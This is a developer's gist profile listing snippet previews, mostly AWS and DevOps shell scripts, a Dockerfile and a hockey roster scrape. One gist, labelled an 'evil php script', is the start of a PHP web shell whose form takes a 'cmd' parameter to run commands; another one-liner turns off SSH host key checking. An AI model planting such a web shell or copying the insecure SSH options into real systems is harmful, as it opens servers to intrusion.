Florian Dehn katzefudder

😼

I invented a timemachine next week

Software Engineer

katzefudder / costs.sh

Created January 10, 2021 12:23

fetch the last months' costs from AWS

	#!/bin/bash

	# displays the last month's costs in USD for tagged resources
	# https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/cost-alloc-tags.html

	# FIRST=$(date --date="$(date +'%Y-%m-01') - 1 month" +%s) # date on general Linux distributions
	# LAST=$(date --date="$(date +'%Y-%m-01') - 1 second" +%s)

	PROJECT=del2

katzefudder / docker run elasticsearch

Last active June 20, 2020 09:48

Elasticsearch with images and fuzzy search

docker run --rm -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" elasticsearch:7.8.0

katzefudder / gist:d6635c72182b18b6a26ab12effc44a07

Created June 13, 2020 10:11

evil php script - small helper =)

	<html>
	<body>
	<form method="get" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="text" name="cmd" id="cmd" size="80">
	<input type="submit" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{

katzefudder / ec-bad-nauheim.txt

Last active January 22, 2020 14:03

Scrape DEL2 teams of eliteprospects using Python: scrapy

	bn31 -31- Felix Bick (EC Bad Nauheim)
	bn29 -29- David Böttcher (EC Bad Nauheim)
	bn42 -42- Pierluigi Capo (EC Bad Nauheim)
	bn53 -53- Bastian Kucis (EC Bad Nauheim)
	bn85 -85- David-Lee Paton (EC Bad Nauheim)
	bn19 -19- Mike Card (EC Bad Nauheim)
	bn55 -55- Maximilian Glötzl (EC Bad Nauheim)
	bn11 -11- Simon Gnyp (EC Bad Nauheim)
	bn82 -82- Niklas Heyer (EC Bad Nauheim)
	bn6 -6- Daniel Ketter (EC Bad Nauheim)

katzefudder / change_git_upstream.sh

Created July 25, 2019 08:13

Changing upstream from Gitlab to Bitbucket (migration)

	#!/bin/bash

	function changeUpstream() {
	cd /tmp && git clone --quiet $1
	basename=$(basename $1)
	dirname=${basename%.*}
	cd $dirname
	clear
	echo "###### You are about to execute the following commands on $basename ######"
	command1="git remote set-url origin $2"

katzefudder / opsgenie_maintenance.sh

Created July 25, 2019 08:11

	#!/bin/bash
	# create and delete maintenance

	set -e

	GENIEKEY=YourOpsGenieKey
	INTEGRATION_ID=YourIntegrationId
	MAINTENANCE_DESCRIPTION="RepositorySyncronization"

	# OpsGenie expects a format like yyyy-MM-dd'T'HH:mm:ssZ) (e.g. 2017-01-15T08:00:00+02:00)

katzefudder / check_ec2_tags.sh

Last active May 14, 2020 14:52

Check for a TAG on your EC2 instance in AWS

	#!/bin/bash

	TAG_NAME="$1"
	INSTANCE_ID="`wget -qO- http://instance-data/latest/meta-data/instance-id`"
	REGION="`wget -qO- http://instance-data/latest/meta-data/placement/availability-zone \| sed -e 's:$[0-9][0-9]$[a-z]\$:\\1:'`"
	TAG_VALUE="`aws ec2 describe-tags --filters "Name=resource-id,Values=$INSTANCE_ID" "Name=key,Values=$TAG_NAME" --region $REGION --output=text \| cut -f5`"

	echo $TAG_VALUE

katzefudder / open_terminals_linux.sh

Last active July 14, 2021 08:52

Open a terminal/ssh session on each ec2 instance available in your AWS region with this oneliner

	#!/bin/bash
	aws ec2 describe-instances --region eu-west-1 --filter Name=tag:Name,Values=InstanceName --query 'Reservations[].Instances[].PrivateIpAddress' --output text \| xargs -I {} gnome-terminal -x ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i ~/my_keys/my-private-key.pem -o IdentitiesOnly=yes cloud-user@{}

katzefudder / nodemcu.ino

Last active July 5, 2018 17:41

Amica NodeMCU Weather Project Sketch

katzefudder / Dockerfile

Last active December 6, 2022 07:44

AWS CLI dockerized with Alpine Linux

	FROM alpine:3.14

	ENV AWSCLI_VERSION "1.20.7"

	RUN apk add --update \
	python3 \
	python3-dev \
	py-pip \
	build-base \
	&& pip install awscli==$AWSCLI_VERSION --upgrade --user \